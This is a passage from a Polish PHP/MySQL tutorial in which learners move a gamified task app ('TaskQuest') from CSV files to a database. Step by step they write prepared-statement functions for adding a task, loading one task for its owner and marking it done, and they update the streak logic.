var_dump($zapytanie-&gt;affected_rows);
var_dump($zapytanie-&gt;insert_id);</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code> i liczba o jeden większa od największego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>.</p>
</details>



<p class="wp-block-paragraph">Odśwież brudnopis jeszcze raz. Co się stało? Ola ma dwa identyczne zadania, z różnymi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>. Baza nie wie, że „to samo zadanie” już jest. Każde wykonanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> to nowy wiersz. Dlatego formularz w TaskQuest kończy się przekierowaniem (POST → przekierowanie → GET, Lekcja 13). Odświeżenie strony po dodaniu nie wyśle formularza drugi raz.</p>



<p class="wp-block-paragraph">Sprawdź też: zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">99</code> i uruchom. Wynik: wyjątek z komunikatem o kluczu obcym (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot add or update a child row: a foreign key constraint fails...</code>). Baza nie pozwala dodać zadania użytkownikowi, którego nie ma. To relacja z Lekcji 17 w działaniu. Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code>.</p>



<p class="wp-block-paragraph">Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h1 class="wp-block-heading">5. Włączamy zapis do TaskQuest</h1>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz na projekcie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> zostaw — przyda się do testowania nowych funkcji.</p>
</blockquote>



<p class="wp-block-paragraph">Plan: najpierw dodawanie zadań i sprzątanie po CSV (kroki 1–3), potem „Zrobione!” z XP i streakiem (kroki 4–7), na końcu diagnostyka (krok 8). Po każdym kroku aplikacja działa.</p>



<h2 class="wp-block-heading">Krok 1 — SAMODZIELNIE: funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code></h2>



<p class="wp-block-paragraph">Kod z brudnopisu (sekcja 4) zamienisz w funkcję. W kroku 2 formularz wywoła ją jedną linią, zamiast budować zapytanie od nowa.</p>



<p class="wp-block-paragraph">Co zrobić:</p>



<p class="wp-block-paragraph">1. <span style="font-size: revert; color: initial;">Otwórz </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code><span style="font-size: revert; color: initial;">. W komentarzu na górze pliku zamień </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">(Lekcja 18)</code><span style="font-size: revert; color: initial;"> na </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">(Lekcje 18–19)</code><span style="font-size: revert; color: initial;">.</span></p>



<p class="wp-block-paragraph">2. <span style="font-size: revert; color: initial;">Pod funkcją </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzRanking()</code><span style="font-size: revert; color: initial;"> utwórz funkcję z takim nagłówkiem:</span></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"></code><code class="prettyprint lang-sql" style="font-size: 0.85em;">function dodajZadanie(mysqli $polaczenie, int $uzytkownikId, string $tytul, string $opis, string $termin, int $xp): int</code></pre>



<p class="wp-block-paragraph">3. <span style="font-size: revert; color: initial;">Przenieś do niej z brudnopisu </span><strong style="font-size: revert; color: initial;">tylko</strong><span style="font-size: revert; color: initial;"> linie, które wykonują zapytanie. Przy każdej linii brudnopisu zadaj sobie pytanie: czy funkcja jej potrzebuje, czy tę wartość dostaje już w parametrze?</span><br />4. <span style="font-size: revert; color: initial;">Na końcu funkcja ma zwrócić </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code><span style="font-size: revert; color: initial;"> nowego zadania (3.2).</span><br />5. Zasady są te same co dla funkcji z Lekcji 18. Funkcja nie łączy się sama z bazą, niczego nie wyświetla, nie łapie wyjątków i nie sprawdza danych, bo dostaje je już sprawdzone przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie.</strong> W brudnopisie zostaw dwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie = polaczZBaza();</code>, a resztę zastąp:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump(dodajZadanie($polaczenie, 2, 'Test funkcji', '', '2026-10-20', 5));</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(...)</code> — nowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>. W phpMyAdmin Ola ma zadanie „Test funkcji”. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Z brudnopisu <strong>nie</strong> przenosisz: <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>, pięciu linii z wartościami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId = 2;</code> itd. — to teraz parametry funkcji) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code>. Zostają trzy kroki: <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function dodajZadanie(
    mysqli $polaczenie,
    int $uzytkownikId,
    string $tytul,
    string $opis,
    string $termin,
    int $xp
): int {
    $zapytanie = $polaczenie-&gt;prepare(
        'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
    );
    $zapytanie-&gt;bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;insert_id;
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> nie jest parametrem, bo nowe zadanie jest zawsze niewykonane. Zwracanego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> formularz nie potrzebuje, ale przydaje się w testach (i w zadaniu końcowym A).</p>
</details>



<h2 class="wp-block-heading">Krok 2 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> zapisuje do bazy</h2>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>. Zmieniamy tylko część PHP, i to niewiele.</p>



<p class="wp-block-paragraph"><strong>2a. Dołączane pliki.</strong> Usuń dwie linie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';</code></pre>



<p class="wp-block-paragraph">a pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_sesji.php</code> dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_bazy.php';</code></pre>



<p class="wp-block-paragraph">Strona nie tworzy już obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> (zapisuje dane prosto do bazy), więc nie potrzebuje klasy.</p>



<p class="wp-block-paragraph"><strong>2b. SAMODZIELNIE: zapis do bazy.</strong> Znajdź w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (count($bledy) === 0) {</code>. W nim jest blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, który dziś zapisuje do CSV w trzech krokach: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = new Zadanie(...)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania(...)</code>. Pod nimi są jeszcze trzy linie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat(...)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header(...)</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>.</p>



<p class="wp-block-paragraph">Co zrobić:</p>



<ol class="wp-block-list">
<li><strong>Usuń</strong> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> trzy linie zapisu do CSV (wczytanie listy, dopisanie obiektu, zapis listy). Trzy linie komunikatu, przekierowania i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> zostaw. Cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> też zostaw bez zmian.</li>



<li><strong>W ich miejsce</strong> (na początku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>) połącz się z bazą i wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code> z kroku 1. Przekaż jej połączenie, id zalogowanego gracza i cztery dane z formularza.</li>



<li>Przy każdym argumencie sprawdź typ, którego wymaga nagłówek funkcji. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xpZadania</code> to tekst z formularza, a funkcja chce <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>.</li>
</ol>



<p class="wp-block-paragraph">Odczyt pól z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> i wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> <strong>zostają bez zmian</strong>.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie</strong> — punkt 2d poniżej.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Id zalogowanego gracza nie przychodzi z formularza, tylko z sesji (Lekcja 18: jedyny klucz tożsamości). Tekst z samymi cyframi zamieniasz na liczbę tak samo jak robiła to dotąd linia z <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        try {
            $polaczenie = polaczZBaza();
            dodajZadanie(
                $polaczenie,
                $_SESSION&#91;'uzytkownik_id'],
                $tytulZadania,
                $opisZadania,
                $terminZadania,
                (int) $xpZadania
            );

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek-&gt;getMessage();
        }
</code></pre>
</details>



<p class="wp-block-paragraph">Co zniknęło i dlaczego:</p>



<ul class="wp-block-list">
<li><strong>wczytywanie całej listy przed zapisem</strong> — przy CSV trzeba było wczytać plik, dopisać zadanie i zapisać wszystko od nowa (tryb <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>). Baza dopisuje jeden wiersz, reszty nie dotyka,</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nadaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>,</li>



<li><strong>lokalna zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code></strong> — niepotrzebna.</li>
</ul>



<p class="wp-block-paragraph">Co zostało: walidacja, zachowywanie wpisanych danych w formularzu, ramka <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code> („Nie udało się dodać zadania: &#8230;”), komunikat w sesji i przekierowanie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $xpZadania</code> jest bezpieczne, bo walidacja sprawdziła regexem <code class="prettyprint lang-sql" style="font-size: 0.85em;">/^\d+$/</code>, że to same cyfry.</p>



<p class="wp-block-paragraph">Właściciela zadania bierzemy z <strong>sesji</strong>, nie z formularza. W formularzu nie ma (i nie będzie) pola „dla kogo” — nikt nie doda zadania na cudze konto.</p>



<p class="wp-block-paragraph"><strong>Po co walidacja, skoro baza sama odrzuci za długi tytuł?</strong> Trzy powody. Baza zgłasza <strong>wyjątek</strong> z technicznym komunikatem, a użytkownik ma dostać listę zrozumiałych błędów (reguła z Lekcji 13). Zakres XP 1–100 sprawdza tylko PHP (Lekcja 17). Walidacja pokazuje wszystkie błędy naraz, baza zatrzymuje się na pierwszym.</p>



<p class="wp-block-paragraph"><strong>2c. Link wraca.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code>, przywróć:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;</code></pre>



<p class="wp-block-paragraph"><strong>2d. Sprawdzenie.</strong> Zaloguj się jako Kama, dodaj zadanie. Oczekiwane: komunikat „Zadanie zostało dodane.”, nowe zadanie na liście. Zaloguj się jako Ola — tego zadania nie widzi.</p>



<h2 class="wp-block-heading">Krok 3 — sprzątanie po CSV</h2>



<p class="wp-block-paragraph">Od tej chwili nic w TaskQuest nie czyta ani nie zapisuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>. Martwy kod myli: za miesiąc nikt nie będzie pamiętał, czy ten plik jest jeszcze potrzebny. Dane z CSV są bezpieczne — w Lekcji 17 trafiły do <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<p class="wp-block-paragraph"><strong>Zanim usuniesz, sprawdź.</strong> W edytorze wyszukaj w całym projekcie (VS Code: Ctrl+Shift+F) każdą z nazw:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN
wczytajZadania(
zapiszZadania(
sprawdzWierszZadania(
nastepneIdZadania(
funkcje_plikow</code></pre>



<p class="wp-block-paragraph">Wpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(</code> razem z nawiasem. Bez nawiasu wyszukiwarka znajdzie też <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika</code>. Oczekiwane: nazwy występują tylko w definicjach i w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (tę poprawisz w kroku 8). Jeśli znajdziesz inne miejsce, najpierw wróć do kroku 2.</p>



<p class="wp-block-paragraph">Usuń:</p>



<ol class="wp-block-list">
<li>plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code> (funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>),</li>



<li>katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code> razem z <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code>,</li>



<li>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">define('PLIK_ZADAN', ...);</code>,</li>



<li>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code> całą funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> i funkcje listy zostają.</li>
</ol>



<p class="wp-block-paragraph">Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i dodaj jeszcze jedno zadanie — wszystko ma działać jak po kroku 2.</p>



<h2 class="wp-block-heading">Krok 4 — SAMODZIELNIE: jedno zadanie i jego wykonanie</h2>



<p class="wp-block-paragraph">„Zrobione!” potrzebuje dwóch funkcji w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>. Napisz je pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code>.</p>



<p class="wp-block-paragraph"><strong>Funkcja 1:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie</code></pre>



<ul class="wp-block-list">
<li>zwraca obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> o podanym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, ale <strong>tylko jeśli należy do podanego użytkownika</strong>,</li>



<li>w każdym innym przypadku (nie ma takiego zadania, jest cudze) zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Funkcja 2:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool</code></pre>



<ul class="wp-block-list">
<li>wpisuje dzisiejszą datę w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>,</li>



<li>tylko w zadaniu tego użytkownika i tylko jeśli zadanie <strong>nie jest jeszcze wykonane</strong>,</li>



<li>zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, jeśli <strong>to wywołanie</strong> zmieniło wiersz, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> w każdym innym przypadku.</li>
</ul>



<p class="wp-block-paragraph">Test w brudnopisie (dołącz też <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code>). <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania Oli odczytaj w phpMyAdmin (po świeżym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> to ostatni wiersz tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieOli = 6; // wpisz id zadania Oli ze swojej bazy

var_dump(wczytajZadanieUzytkownika($polaczenie, $zadanieOli, 1));
var_dump(wczytajZadanieUzytkownika($polaczenie, $zadanieOli, 2)-&gt;pobierzTytul());

var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 1));
var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 2));
var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 2));</code></pre>



<p class="wp-block-paragraph">Przewidź pięć wyników, potem uruchom. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> (zadanie Oli, a pytamy jako Kama), <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(28) "Zaprojektować bazę TaskQuest"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (Kama nie może oznaczyć zadania Oli), <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (już wykonane). Na koniec uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Funkcja 1 to połączenie dwóch funkcji z Lekcji 18: zapytanie i tworzenie obiektu jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code>, a obsługa „jeden wiersz albo nic” jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>. Funkcja 2 to <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> z trzema warunkami z 3.3. Wynik funkcji to jedno porównanie.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE id = ? AND uzytkownik_id = ?'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Zadanie(
        id: $wiersz&#91;'id'],
        tytul: $wiersz&#91;'tytul'],
        opis: $wiersz&#91;'opis'],
        termin: $wiersz&#91;'termin'],
        wykonane: $wiersz&#91;'data_wykonania'] !== null,
        xp: $wiersz&#91;'xp'],
    );
}

function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}</code></pre>
</details>



<ul class="wp-block-list">
<li>„Nie ma takiego zadania” i „zadanie jest cudze” dają ten sam wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Celowo. Ola nie powinna się dowiedzieć, że zadanie o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 3 istnieje, tylko należy do kogoś innego.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> z trzech powodów: nie ma zadania, jest cudze albo już wykonane. Funkcja ich nie rozróżnia. Strona, która ją wywoła, zrobi to sama dzięki funkcji 1.</li>
</ul>



<h2 class="wp-block-heading">Krok 5 — prawdziwy streak i XP</h2>



<h3 class="wp-block-heading">5a. Jak dotąd liczyliśmy streak</h3>



<p class="wp-block-paragraph">Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code> <strong>zostaje bez zmian</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function aktualizujStreak(int $streak, string $dataOstatniejAktywnosci, bool $zadanieWykonane): int {
    if (!$zadanieWykonane) return $streak;

    $dzisiaj = new DateTime('today');
    $wczoraj = new DateTime('yesterday');
    $ostatniaAktywnosc = new DateTime($dataOstatniejAktywnosci);

    if ($ostatniaAktywnosc-&gt;format('Y-m-d') === $dzisiaj-&gt;format('Y-m-d')) return $streak;

    if ($ostatniaAktywnosc-&gt;format('Y-m-d') === $wczoraj-&gt;format('Y-m-d')) return $streak + 1;

    return 1;
}</code></pre>



<p class="wp-block-paragraph">Przypomnienie reguł: aktywność dziś — seria bez zmian; wczoraj — seria +1; wcześniej — seria zaczyna się od nowa (1).</p>



<p class="wp-block-paragraph">Do tej pory <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> przy <strong>każdym wyświetleniu</strong> wywoływał <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane)</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> znaczyło „na liście jest choć jedno wykonane zadanie”. To była symulacja: nie wiedzieliśmy, <strong>kiedy</strong> gracz coś zrobił. Wynik nigdzie się nie zapisywał, więc każde odświeżenie liczyło od nowa.</p>



<p class="wp-block-paragraph">Teraz wiemy dokładnie: gracz był aktywny w chwili, gdy kliknął „Zrobione!”. Streak liczymy więc <strong>raz, w tym momencie</strong>, i zapisujemy do bazy razem z datą aktywności. Strona główna tylko go pokazuje.</p>



<h3 class="wp-block-heading">5b. Zmiana w <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></h3>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> i znajdź metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> (ostatnio zmienianą w Lekcji 18, krok 4). Zmień ją w czterech miejscach:</p>



<ol class="wp-block-list">
<li><strong>Nagłówek.</strong> Usuń parametr: <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(bool $zadanieWykonane): void</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(): void</code>. Metodę będziemy wywoływać tylko po wykonaniu zadania, więc parametr zawsze miałby wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</li>



<li><strong>Warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</strong> Dziś jest w nim samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">return;</code> z komentarzem „brak aktywności — &#8230; streak zostaje taki jak w bazie”. <strong>Przed</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">return;</code> dopisz linię, która ustawia właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">streak</code> obiektu na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>. Zmień komentarz na: <code class="prettyprint lang-sql" style="font-size: 0.85em;">// pierwsze wykonane zadanie w historii — seria się zaczyna</code>. Od teraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> znaczy „gracz jeszcze nigdy nic nie wykonał”, a ta metoda jest wywoływana właśnie wtedy, gdy wykonuje pierwsze zadanie.</li>



<li><strong>Wywołanie funkcji.</strong> W ostatniej linii metody trzeci argument funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(...)</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code>. Tej zmiennej już nie ma — wpisz w jej miejsce <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</li>



<li><strong>Komentarz nad metodą</strong> (linia nad <code class="prettyprint lang-sql" style="font-size: 0.85em;">public function</code>): <code class="prettyprint lang-sql" style="font-size: 0.85em;">// Wywołujemy tylko wtedy, gdy użytkownik właśnie wykonał zadanie (oznacz-wykonane.php).</code></li>
</ol>



<p class="wp-block-paragraph">Nazwa metody się nie zmienia. Nadal aktualizuje streak według reguł funkcji o tej samej nazwie.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> przed kliknięciem</th><th>streak przed</th><th>streak po</th></tr></thead><tbody><tr><td>dziś</td><td>5</td><td>5</td></tr><tr><td>wczoraj</td><td>5</td><td>6</td></tr><tr><td>trzy dni temu</td><td>5</td><td>1</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td>0</td><td>1</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Sprawdzenie</strong> w brudnopisie (dołącz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_terminow.php</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wczoraj = new DateTime('yesterday');

$uzytkownik = new Uzytkownik(
    id: 1,
    login: 'Kama_2026',
    imieUzytkownika: 'Kama',
    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: $wczoraj-&gt;format('Y-m-d'),
);
$uzytkownik-&gt;aktualizujStreak();
var_dump($uzytkownik-&gt;pobierzStreak());</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(6)</code>. Sprawdź pozostałe wiersze tabeli: zamień datę na <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-01-01'</code>, a potem na <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</p>



